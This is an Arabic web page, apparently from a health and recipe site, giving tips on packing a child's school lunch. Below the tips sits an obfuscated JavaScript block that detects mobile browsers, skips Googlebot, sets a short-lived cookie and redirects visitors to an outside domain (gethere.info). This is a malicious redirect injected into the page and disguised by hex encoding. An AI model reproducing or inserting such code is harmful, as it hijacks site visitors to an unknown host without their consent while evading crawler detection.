انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

كيف تعدين وجبة طفلك المدرسية

كيف تعدين وجبة طفلك المدرسية

كل ام تتمني ان لا يبعد طفلها عنها حتي تتمكن من رعايته جيدا فالطفل هو القلب النابض لامة لذا تحرص كل الأمهات علي الاهتمام والاعتناء بأطفالهم حينما يكونون بعيدين ولعل ابرز الأماكن التي يتغيب بها الأولاد يوميا المدرسة ولابد ان تكون هناك وجبة واحدة للطفل علي الأقل خلال اليوم الدراسي الذي يحتاج الي الكثير من الطاقة والمجهود ولابد ان تكون هذه الوجبة علي قدر كبير من الصحة عن طريق احتوائها علي الأطعمة الصحية والتي يحتاج اليها جسم الطفل لهذا نقدم لكم بعض النصائح والمساعدات التي تمكنكم من تحضير وجبة مدرسية متكاملة لأطفالكم

 

كيف تعدين وجبة طفلك المدرسية
كيف تعدين وجبة طفلك المدرسية

 

  • كيف تعدين وجبة طفلك المدرسية
  • حقيبة الطعام من الأفضل ان تكون من النوعية البلاستيكية المقسمة من الداخل الي اقسام صغيرة يمكنك من خلالها وضع الطعام بكل سهولة كما انها تسهل على طفلك الوصول الي ما يريده من طعام دون عناء وان كانت حقيبة الطعام قماشية او شيء مشابه يمكنك وضع أحد العلب البلاستيكية الصغيرة بداخلها
  • لابد وان تحتوي الوجبة التي تعديها لطفلك يوميا ان تكون منوعة وتحتوي على العناصر الغذائية التالي ذكرها ” ماء – فطيرة – فواكه مقطعة – عصائر طازجة – قطعة من الحلوى – خضروات ” فكل هذه العناصر يحتاج اليها طفلك يوميا
  • يمكنك الاعتماد على الخضار المسلوق بجانب السندوتشات التي تعديها الى طفلك حتى يكون صنف اخر مغذي ويفيد جسم طفلك
  • يمكنك تقطيع السندوتشات التي تعديها لطفلك بشكل متجدد وملفت كل يوم حتى لا يمل الطفل من الشكل الطبيعي للسندوتش فهذا التجدد يساعده علي فتح الشهية
  • من الأمور التي يمكنك استخدامها على سبيل التجديد لطفلك ان تستغني في أحد الأيام عن السندوتشات والخضار المسلوق واعداد وجبة من المكرونة والخضار معا كمفاجأة جديدة له فهذا سوف يساعده علي فتح شهيته بشكل ملحوظ
  • من الإضافات المذهلة والمفيدة والتي يحبها جميع الأطفال شرائح الطماطم الرقيقة لذا يمكنك اعدادها يوميا من اجل طفلك
  • اضيفي قطعة واحدة من الحلوى المفضلة لطفلك والتي تساعده على التشجع وانهاء الطعام بأكمله حتى يتمكن من تناولها واختاري نوع الحلوى المفضل لطفلك حتى تكون مكافأة مرضية

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.